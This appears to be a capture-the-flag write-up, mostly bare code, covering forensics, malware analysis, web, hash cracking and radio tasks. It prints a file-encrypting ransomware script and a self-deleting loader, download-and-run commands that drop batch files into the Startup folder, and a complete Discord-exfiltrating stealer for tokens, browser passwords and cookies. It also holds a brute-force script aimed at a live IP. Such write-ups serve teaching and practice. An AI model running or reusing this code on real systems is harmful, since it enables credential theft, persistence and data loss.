1
fls -o 128 -r GhostInTheDark.001
2
r/r 4-128-1:    $AttrDef
3
r/r 8-128-2:    $BadClus
4
r/r 8-128-1:    $BadClus:$Bad
5
r/r 6-128-4:    $Bitmap
6
r/r 7-128-1:    $Boot
7
d/d 11-144-4:   $Extend
8
+ d/d 29-144-2: $Deleted
9
+ r/r 25-144-2: $ObjId:$O
10
+ r/r 24-144-3: $Quota:$O
11
+ r/r 24-144-2: $Quota:$Q
12
+ r/r 26-144-2: $Reparse:$R
13
+ d/d 27-144-2: $RmMetadata
14
++ r/r 28-128-4:        $Repair
15
++ r/r 28-128-2:        $Repair:$Config
16
++ r/r 28-128-6:        $Repair:$Corrupt
17
++ r/r 28-128-8:        $Repair:$Verify
18
++ d/d 31-144-2:        $Txf
19
++ d/d 30-144-2:        $TxfLog
20
+++ r/r 32-128-2:       $Tops
21
+++ r/r 32-128-4:       $Tops:$T
22
+++ r/r 33-128-1:       $TxfLog.blf
23
+++ r/r 34-128-1:       $TxfLogContainer00000000000000000001
24
+++ r/r 35-128-1:       $TxfLogContainer00000000000000000002
25
r/r 2-128-1:    $LogFile
26
r/r 0-128-6:    $MFT
27
r/r 1-128-1:    $MFTMirr
28
r/r 9-128-8:    $Secure:$SDS
29
r/r 9-144-11:   $Secure:$SDH
30
r/r 9-144-5:    $Secure:$SII
31
r/r 10-128-1:   $UpCase
32
r/r 10-128-4:   $UpCase:$Info
33
r/r 3-128-3:    $Volume
34
r/r 42-128-1:   flag.enc
35
r/r 41-128-3:   payload.enc
36
r/r 38-128-1:   ransom_note.txt
37
r/r 43-128-3:   RIP_PuppyJaws.enc
38
d/d 36-144-1:   System Volume Information
39
+ r/r 37-128-1: WPSettings.dat
40
r/r 39-128-1:   trip_itinerary.enc
41
-/r * 40-128-1: loader.ps1
42
V/V 256:        $OrphanFiles

1
$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
2
$iv  = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")
3

4
$AES = New-Object System.Security.Cryptography.AesManaged
5
$AES.Key = $key
6
$AES.IV = $iv
7
$AES.Mode = "CBC"
8
$AES.Padding = "PKCS7"
9

10
$enc = Get-Content "L:\payload.enc" -Raw
11
$bytes = [System.Convert]::FromBase64String($enc)
12
$decryptor = $AES.CreateDecryptor()
13
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
14
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)
15

16
Invoke-Expression $script
17

18
# Self-delete
19
Remove-Item $MyInvocation.MyCommand.Path

1
from Crypto.Cipher import AES
2
import base64
3

4
key = b"0123456789abcdef"
5
iv = b"abcdef9876543210"
6

7
with open("payload.enc", "rb") as f:
8
    enc_data = base64.b64decode(f.read())
9

10
cipher = AES.new(key, AES.MODE_CBC, iv)
11
plaintext = cipher.decrypt(enc_data)
12
# Remove PKCS7 padding:
13
pad_len = plaintext[-1]
14
plaintext = plaintext[:-pad_len]
15

16
with open("payload_decoded.ps1", "wb") as f:
17
    f.write(plaintext)

1
$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
2
$iv  = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")
3

4
$AES = New-Object System.Security.Cryptography.AesManaged
5
$AES.Key = $key
6
$AES.IV = $iv
7
$AES.Mode = "CBC"
8
$AES.Padding = "PKCS7"
9

10
# Load plaintext flag from C:\ (never written to L:\ in plaintext)
11
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
12
$encryptor = $AES.CreateEncryptor()
13
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
14
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
15
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)
16

17
# Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
18
$files = Get-ChildItem "L:\" -File | Where-Object {
19
    $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
20
}
21

22
foreach ($file in $files) {
23
    $plaintext = Get-Content $file.FullName -Raw
24
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
25
    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
26
    [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
27
    Remove-Item $file.FullName
28
}
29

30
# Write ransom note
31
$ransomNote = @"
32
i didn't mean to encrypt them.
33
i was just trying to remember.
34

35
the key? maybe it's still somewhere in the dark.
36
the script? it was scared, so it disappeared too.
37

38
maybe you'll find me.
39
maybe you'll find yourself.
40

41
- vivi (or his ghost)
42
"@
43
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8
44

45
# Self-delete
46
Remove-Item $MyInvocation.MyCommand.Path

1
from Crypto.Cipher import AES
2

3
key = b"m4yb3w3d0nt3x1st"
4
iv = b"l1f31sf0rl1v1ng!"
5

6
with open("flag.enc", "rb") as f:
7
    cipher = f.read()
8

9
aes = AES.new(key, AES.MODE_CBC, iv)
10
plaintext = aes.decrypt(cipher)
11

12
# Remove PKCS7 padding
13
pad_len = plaintext[-1]
14
plaintext = plaintext[:-pad_len]
15

16
print(plaintext.decode('utf-8'))

1
flag: L3AK{d3let3d_but_n0t_f0rg0tt3n}

1
start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"

1
start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit

1
_ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'=kSKnoFWoxWW5d2bYl3avlVajlDUWZETjdkTwZVMs9mUyoUYiRkThRWbodlWYlUNWFDZ3RFbkBVVXJ1RXtmVPJVMKR1Vsp1Vj1mUZRFbOFmYGRGMW1GeoJVMadlVYxmbSJjThN2RxMFVF9WeZRlTr1UMSllUtBHWZVlSxV1aW9UTWplcX1WNYRmM0VUWxI0UhFjShVlaKdlTHdGeWxGbHZ1a180VrpFakBjWzZ1a5cUTWJ1VXxmVPd1RSJnVxgWYiVUMM90VxUlVYJkVWJjRwImVONjWHhXaRJjU1Z1Mj<snipped>'))

1
Label('top')
2
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
3
Reverse('Character')
4
From_Base64('A-Za-z0-9+/=',true,false)
5
Conditional_Jump('psutil',true,'top',100)

1
import psutil
2
import platform
3
import json
4
from datetime import datetime
5
from time import sleep
6
import requests
7
import socket
8
from requests import get
9
import os
10
import re
11
import subprocess
12
from uuid import getnode as get_mac
13
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
14
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
15
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
16
from cryptography.hazmat.backends import default_backend
17
from Crypto.Cipher import AES
18
from base64 import b64decode, b64encode
19
from subprocess import Popen, PIPE
20
from json import loads, dumps
21
from shutil import copyfile
22
from sys import argv
23
import discord
24
from discord.ext import commands
25
from io import BytesIO
26

27
intents = discord.Intents.default()
28
intents.message_content = True
29
bot = commands.Bot(command_prefix='!', intents=intents)
30

31
def scale(bytes, suffix="B"):
32
    defined = 1024
33
    for unit in ["", "K", "M", "G", "T", "P"]:
34
        if bytes < defined:
35
            return f"{bytes:.2f}{unit}{suffix}"
36
        bytes /= defined
37

38
uname = platform.uname()
39
bt = datetime.fromtimestamp(psutil.boot_time())
40
host = socket.gethostname()
41
localip = socket.gethostbyname(host)
42

43
publicip = get(f'https://ipinfo.io/ip').text
44
city = get(f'https://ipinfo.io/{publicip}/city').text
45
region = get(f'https://ipinfo.io/{publicip}/region').text
46
postal = get(f'https://ipinfo.io/{publicip}/postal').text
47
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
48
currency = get(f'https://ipinfo.io/{publicip}/currency').text
49
country = get(f'https://ipinfo.io/{publicip}/country').text
50
loc = get(f"https://ipinfo.io/{publicip}/loc").text
51
vpn = requests.get('http://ip-api.com/json?fields=proxy')
52
proxy = vpn.json()['proxy']
53
mac = get_mac()
54

55
roaming = os.getenv('AppData')
56
output = open(roaming + "temp.txt", "a")
57

58
Directories = {
59
        'Discord': roaming + '\\Discord',
60
        'Discord Two': roaming + '\\discord',
61
        'Discord Canary': roaming + '\\Discordcanary',
62
        'Discord Canary Two': roaming + '\\discordcanary',
63
        'Discord PTB': roaming + '\\discordptb',
64
        'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
65
        'Opera': roaming + '\\Opera Software\\Opera Stable',
66
        'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
67
        'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
68
}
69

70
def Yoink(Directory):
71
    Directory += '\\Local Storage\\leveldb'
72
    Tokens = []
73

74
    for FileName in os.listdir(Directory):
75
        if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
76
            continue
77

78
        for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
79
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
80
                for Token in re.findall(regex, line):
81
                    Tokens.append(Token)
82

83
    return Tokens
84

85
def Wipe():
86
    if os.path.exists(roaming + "temp.txt"):
87
      output2 = open(roaming + "temp.txt", "w")
88
      output2.write("")
89
      output2.close()
90
    else:
91
      pass
92

93
realshit = ""
94
for Discord, Directory in Directories.items():
95
    if os.path.exists(Directory):
96
        Tokens = Yoink(Directory)
97
        if len(Tokens) > 0:
98
            for Token in Tokens:
99
                realshit += f"{Token}\n"
100

101
cpufreq = psutil.cpu_freq()
102
svmem = psutil.virtual_memory()
103
partitions = psutil.disk_partitions()
104
disk_io = psutil.disk_io_counters()
105
net_io = psutil.net_io_counters()
106

107
partitions = psutil.disk_partitions()
108
partition_usage = None
109
for partition in partitions:
110
    try:
111
        partition_usage = psutil.disk_usage(partition.mountpoint)
112
        break
113
    except PermissionError:
114
        continue
115

116
system_info = {
117
    "embeds": [
118
        {
119
            "title": f"Hah Gottem! - {host}",
120
            "color": 8781568
121
        },
122
        {
123
            "color": 7506394,
124
            "fields": [
125
                {
126
                    "name": "GeoLocation",
127
                    "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
128
                }
129
            ]
130
        },
131
        {
132
            "fields": [
133
                {
134
                    "name": "System Information",
135
                    "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
136
                }
137
            ]
138
        },
139
        {
140
            "color": 15109662,
141
            "fields": [
142
                {
143
                    "name": "CPU Information",
144
                    "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
145
                },
146
                {
147
                    "name": "Memory Information",
148
                    "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
149
                },
150
                {
151
                    "name": "Disk Information",
152
                    "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
153
                },
154
                {
155
                    "name": "Network Information",
156
                    "value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
157
                }
158
            ]
159
        },
160
        {
161
            "color": 7440378,
162
            "fields": [
163
                {
164
                    "name": "Discord information",
165
                    "value": f"Token: {realshit}"
166
                }
167
            ]
168
        }
169
    ]
170
}
171

172
DBP = r'Google\Chrome\User Data\Default\Login Data'
173
ADP = os.environ['LOCALAPPDATA']
174

175
def sniff(path):
176
    path += '\\Local Storage\\leveldb'
177

178
    tokens = []
179
    try:
180
        for file_name in os.listdir(path):
181
            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
182
                continue
183

184
            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
185
                for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
186
                    for token in re.findall(regex, line):
187
                        tokens.append(token)
188
        return tokens
189
    except:
190
        pass
191

192

193
def encrypt(cipher, plaintext, nonce):
194
    cipher.mode = modes.GCM(nonce)
195
    encryptor = cipher.encryptor()
196
    ciphertext = encryptor.update(plaintext)
197
    return (cipher, ciphertext, nonce)
198

199

200
def decrypt(cipher, ciphertext, nonce):
201
    cipher.mode = modes.GCM(nonce)
202
    decryptor = cipher.decryptor()
203
    return decryptor.update(ciphertext)
204

205

206
def rcipher(key):
207
    cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
208
    return cipher
209

210

211
def dpapi(encrypted):
212
    import ctypes
213
    import ctypes.wintypes
214

215
    class DATA_BLOB(ctypes.Structure):
216
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
217
                    ('pbData', ctypes.POINTER(ctypes.c_char))]
218

219
    p = ctypes.create_string_buffer(encrypted, len(encrypted))
220
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
221
    blobout = DATA_BLOB()
222
    retval = ctypes.windll.crypt32.CryptUnprotectData(
223
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
224
    if not retval:
225
        raise ctypes.WinError()
226
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
227
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
228
    return result
229

230

231
def localdata():
232
    jsn = None
233
    with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
234
        jsn = json.loads(str(f.readline()))
235
    return jsn["os_crypt"]["encrypted_key"]
236

237

238
def decryptions(encrypted_txt):
239
    encoded_key = localdata()
240
    encrypted_key = base64.b64decode(encoded_key.encode())
241
    encrypted_key = encrypted_key[5:]
242
    key = dpapi(encrypted_key)
243
    nonce = encrypted_txt[3:15]
244
    cipher = rcipher(key)
245
    return decrypt(cipher, encrypted_txt[15:], nonce)
246

247

248
class chrome:
249
    def __init__(self):
250
        self.passwordList = []
251

252
    def chromedb(self):
253
        _full_path = os.path.join(ADP, DBP)
254
        _temp_path = os.path.join(ADP, 'sqlite_file')
255
        if os.path.exists(_temp_path):
256
            os.remove(_temp_path)
257
        shutil.copyfile(_full_path, _temp_path)
258
        self.pwsd(_temp_path)
259

260
    def pwsd(self, db_file):
261
        conn = sqlite3.connect(db_file)
262
        _sql = 'select signon_realm,username_value,password_value from logins'
263
        for row in conn.execute(_sql):
264
            host = row[0]
265
            if host.startswith('android'):
266
                continue
267
            name = row[1]
268
            value = self.cdecrypt(row[2])
269
            _info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
270
            self.passwordList.append(_info)
271
        conn.close()
272
        os.remove(db_file)
273

274
    def cdecrypt(self, encrypted_txt):
275
        if sys.platform == 'win32':
276
            try:
277
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
278
                    decrypted_txt = dpapi(encrypted_txt)
279
                    return decrypted_txt.decode()
280
                elif encrypted_txt[:3] == b'v10':
281
                    decrypted_txt = decryptions(encrypted_txt)
282
                    return decrypted_txt[:-16].decode()
283
            except WindowsError:
284
                return None
285
        else:
286
            pass
287

288
    def saved(self):
289
        try:
290
            with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
291
                f.writelines(self.passwordList)
292
        except WindowsError:
293
            return None
294

295
@bot.event
296
async def on_ready():
297
    print(f'Logged in as {bot.user}')
298

299
    channel = bot.get_channel(CHANNEL_ID)
300
    if not channel:
301
        print(f"Could not find channel with ID: {CHANNEL_ID}")
302
        return
303

304
    main = chrome()
305
    try:
306
        main.chromedb()
307
    except Exception as e:
308
        print(f"Error getting Chrome passwords: {e}")
309
    main.saved()
310

311
    await exfiltrate_data(channel)
312

313
    await bot.close()
314

315
async def exfiltrate_data(channel):
316
    try:
317
        hostname = requests.get("https://ipinfo.io/ip").text
318
    except:
319
        hostname = "Unknown"
320

321
    local = os.getenv('LOCALAPPDATA')
322
    roaming = os.getenv('APPDATA')
323
    paths = {
324
        'Discord': roaming + '\\Discord',
325
        'Discord Canary': roaming + '\\discordcanary',
326
        'Discord PTB': roaming + '\\discordptb',
327
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
328
        'Opera': roaming + '\\Opera Software\\Opera Stable',
329
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
330
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
331
    }
332

333
    message = '\n'
334
    for platform, path in paths.items():
335
        if not os.path.exists(path):
336
            continue
337

338
        message += '```'
339
        tokens = sniff(path)
340

341
        if len(tokens) > 0:
342
            for token in tokens:
343
                message += f'{token}\n'
344
        else:
345
            pass
346
        message += '```'
347

348
    try:
349
        from PIL import ImageGrab
350
        from Crypto.Cipher import ARC4
351
        screenshot = ImageGrab.grab()
352
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
353
        screenshot.save(screenshot_path)
354

355
        with open(screenshot_path, 'rb') as f:
356
            image_data = f.read()
357

358
        key = b'tralalero_tralala'
359
        cipher = ARC4.new(key)
360
        encrypted_data = cipher.encrypt(image_data)
361

362
        encrypted_path = screenshot_path + '.enc'
363
        with open(encrypted_path, 'wb') as f:
364
            f.write(encrypted_data)
365

366
        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))
367

368
    except Exception as e:
369
        print(f"Error taking screenshot: {e}")
370

371
    try:
372
        zname = r'C:\ProgramData\passwords.zip'
373
        newzip = zipfile.ZipFile(zname, 'w')
374
        newzip.write(r'C:\ProgramData\passwords.txt')
375
        newzip.close()
376

377
        await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
378
    except Exception as e:
379
        print(f"Error with password file: {e}")
380

381
    try:
382
        usr = os.getenv("UserName")
383
        keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
384
        types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
385
    except Exception as e:
386
        print(f"Error getting system info: {e}")
387
        usr = "Unknown"
388
        keys = "Unknown"
389
        types = "Unknown"
390

391
    cookie = [".ROBLOSECURITY"]
392
    cookies = []
393
    limit = 2000
394
    roblox = "No Roblox cookies found"
395

396
    try:
397
        cookies.extend(list(steal.chrome()))
398
    except Exception as e:
399
        print(f"Error stealing Chrome cookies: {e}")
400

401
    try:
402
        cookies.extend(list(steal.firefox()))
403
    except Exception as e:
404
        print(f"Error stealing Firefox cookies: {e}")
405

406
    try:
407
        for y in cookie:
408
            send = str([str(x) for x in cookies if y in str(x)])
409
            chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
410
            for z in chunks:
411
                roblox = f'```{z}```'
412
    except Exception as e:
413
        print(f"Error processing cookies: {e}")
414

415
    embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
416
    embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
417
    embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
418
    embed.add_field(name="Tokens", value=message[:1024], inline=False)
419

420
    await channel.send(embed=embed)
421

422
    with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
423
        json.dump(system_info, f, indent=4, ensure_ascii=False)
424

425
    await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))
426

427
    try:
428
        os.remove(r'C:\ProgramData\pay2winflag.jpg')
429
        os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
430
        os.remove(r'C:\ProgramData\passwords.zip')
431
        os.remove(r'C:\ProgramData\passwords.txt')
432
        os.remove(r'C:\ProgramData\system_info.json')
433
    except Exception as e:
434
        print(f"Error cleaning up: {e}")
435

436
BOT_TOKEN = "MTM2NDIzNDEzNjE5MzMzOTQyNA.GHC4yD.ZUzwkrAEMW9GlLsmVnP7FbdY317MqM234Bd2vE"
437
CHANNEL_ID = 1371505369230344273
438

439
if __name__ == "__main__":
440
    bot.run(BOT_TOKEN)

1
try:
2
        from PIL import ImageGrab
3
        from Crypto.Cipher import ARC4
4
        screenshot = ImageGrab.grab()
5
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
6
        screenshot.save(screenshot_path)
7

8
        with open(screenshot_path, 'rb') as f:
9
            image_data = f.read()
10

11
        key = b'tralalero_tralala'
12
        cipher = ARC4.new(key)
13
        encrypted_data = cipher.encrypt(image_data)
14

15
        encrypted_path = screenshot_path + '.enc'
16
        with open(encrypted_path, 'wb') as f:
17
            f.write(encrypted_data)
18

19
        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

1
[...]
2
vars_dict = {}
3
for line in batch_script.splitlines():
4
    match = re.match(r'set (\w+)=(.*)', line.strip())
5
    if match:
6
        key, val = match.groups()
7
        vars_dict[key] = val
8

9

10
def decode_line(line):
11
    matches = re.findall(r'%(\w+)%', line)
12
    return ''.join(vars_dict.get(m, f"<{m}>") for m in matches)
13

14
print("📜 Giải mã các dòng batch:")
15
for line in batch_script.splitlines():
16
    if '%' in line:
17
        decoded = decode_line(line)
18
        print(decoded)

1
flag: L3AK{Br40d0_st34L3r_0r_br41nr0t}

1
app.get('/api/posts', (_, res) => {
2
    const publicPosts = posts.map(post => ({
3
        id: post.id,
4
        title: post.title,
5
        content: post.content.replace(FLAG, '*'.repeat(FLAG.length)),
6
        author: post.author,
7
        date: post.date
8
    }));
9

10
    res.json({
11
        posts: publicPosts,
12
        total: publicPosts.length
13
    });
14
});

1
app.post('/api/search', (req, res) => {
2
    const { query } = req.body;
3

4
    if (!query || typeof query !== 'string' || query.length !== 3) {
5
        return res.status(400).json({
6
            error: 'Query must be 3 characters.',
7
        });
8
    }
9

10
    const matchingPosts = posts
11
        .filter(post =>
12
            post.title.includes(query) ||
13
            post.content.includes(query) ||
14
            post.author.includes(query)
15
        )
16
        .map(post => ({
17
            ...post,
18
            content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
19
    }));
20

21
    res.json({
22
        results: matchingPosts,
23
        count: matchingPosts.length,
24
        query: query
25
    });
26
});

1
const matchingPosts = posts
2
        .filter(post =>
3
            post.title.includes(query) ||
4
            post.content.includes(query) ||
5
            post.author.includes(query)
6
        )
7
        .map(post => ({
8
            ...post,
9
            content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
10
    }));

1
{
2
        id: 3,
3
        title: "Not the flag?",
4
        content: `Well luckily the content of the flag is hidden so here it is: ${FLAG}`,
5
        author: "admin",
6
        date: "2025-05-13"
7
},

1
import requests
2
import re
3

4
url = 'http://34.134.162.213:17000/api/search'
5
known_flag = "L3AK{"
6
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!@#$%^&*()-=+[]{}|;:',.<>/?~\"\\"
7
max_len = 100
8

9
def has_masked_flag(fragment):
10
    try:
11
        res = requests.post(url, json={'query': fragment})
12
        data = res.json()
13
        for post in data.get("results", []):
14
            if post["id"] == 3:
15
                content = post.get("content", "")
16
                match = re.search(r":\s*([\*]{5,})\s*$", content)
17
                if match:
18
                    return True
19
    except Exception as e:
20
        print(f"[ERROR] Request failed: {e}")
21
    return False
22

23
def brute_force_flag():
24
    global known_flag
25
    print(f"[+] Starting with known prefix: {known_flag}")
26

27
    while len(known_flag) < max_len:
28
        found = False
29
        for c in charset:
30
            fragment = known_flag[-2:] + c
31
            if has_masked_flag(fragment):
32
                known_flag += c
33
                print(f"[+] Found next char: {c} → {known_flag}")
34
                found = True
35
                if c == '}':
36
                    print(f"[🏁] Found full flag: {known_flag}")
37
                    return
38
                break
39
        if not found:
40
            print("[!] Không tìm thấy ký tự tiếp theo. Dừng.")
41
            return
42

43
brute_force_flag()

1
flag: L3AK{L3ak1ng_th3_Fl4g??}

1
L3AKOPENBRACKETWELC0M3UNDERSCORET0UNDERSCORETH3UNDERSCOREH4RDW4R3UNDERSCORERFUNDERSCORE

1
L3AK{WELLC0M3_T0_TH3_H4RDW4R3_RF_

1
flag: L3AK{WELLC0M3_T0_TH3_H4RDW4R3_RF_c4teg0ry_w3_h0p3_you_h4ve_fun!}

1
Software                        : fldigi-4.2.07 (libsndfile-1.0.28)
2
Comment                         : WEFAX576 freq=14011.900

1
Op Mode → WEFAX → WEFAX-576
2
File → Audio → Playback

1
flag: L3AK{R4diOF4X_1S_G00d_4_ImAG3_Tr4nsM1sSiON}

1
[List.Rules:Custom3Char]
2
Az"[!@#$%^&*]" Az"[0-9]" Az"[A-Z]"

1
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt --rules=Custom3Char hash1.txt

1
Using default input encoding: UTF-8
2
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
3
Warning: poor OpenMP scalability for this hash type, consider --fork=4
4
Will run 4 OpenMP threads
5
Press 'q' or Ctrl-C to abort, almost any other key for status
6
hyepsi^4B        (?)
7
1g 0:00:15:41 DONE (2025-07-16 15:42) 0.001062g/s 21423Kp/s 21423Kc/s 21423KC/s idntlyku^4B..hsclj01^4B
8
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
9
Session completed.

1
hashcat -a 6 -m 1400 hash1.txt /usr/share/wordlists/rockyou.txt "?s?d?u"

1
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt --rules=jumbo hash2.txt

1
Using default input encoding: UTF-8
2
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
3
Warning: poor OpenMP scalability for this hash type, consider --fork=4
4
Will run 4 OpenMP threads
5
Press 'q' or Ctrl-C to abort, almost any other key for status
6
thecowsaysmo     (?)
7
1g 0:00:06:10 DONE (2025-07-16 16:03) 0.002695g/s 12101Kp/s 12101Kc/s 12101KC/s harryismydo..angel0210204
8
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
9
Session completed.

1
[List.Rules:leetfull]
2
sa@sc<se3si1so0ss$

1
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt --rules=leetfull hash3.txt

1
Using default input encoding: UTF-8
2
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
3
Warning: poor OpenMP scalability for this hash type, consider --fork=4
4
Will run 4 OpenMP threads
5
Press 'q' or Ctrl-C to abort, almost any other key for status
6
unf0rg1v@bl3     (?)
7
1g 0:00:00:00 DONE (2025-07-16 18:17) 1.724g/s 2146Kp/s 2146Kc/s 2146KC/s v1rg042..$w33tt45
8
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
9
Session completed.

1
hashcat -a 0 -m 1400 hash3.txt /usr/share/wordlists/rockyou.txt -r leetspeak.rule

1
^X      prefix the word with character X
2
}      rotate the word right: "smithj" -> "jsmith"
3
DN      delete the character in position N
4
XNMI  extract substring NM from memory and insert into current word at I

1
[List.Rules:custom_challenge1]
2
^[A-Z]X010D2}}}

1
^[A-Z]  -> "Prepend 1 uppercase letter"
2
X010D2  -> "Swap the first 2 characters`
3
}}}     -> "Rotate it to the right 3 times"

1
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom_challenge1 --stdout > rockyou2.txt

1
hashcat -m 1400 -a 6 "2a07038481b64a934495e5a91d011ecbf278aba8c5263841e1d13f73975d5397" rockyou2.txt "19?d?d"
2

3
2a07038481b64a934495e5a91d011ecbf278aba8c5263841e1d13f73975d5397:er!bLigbroth1984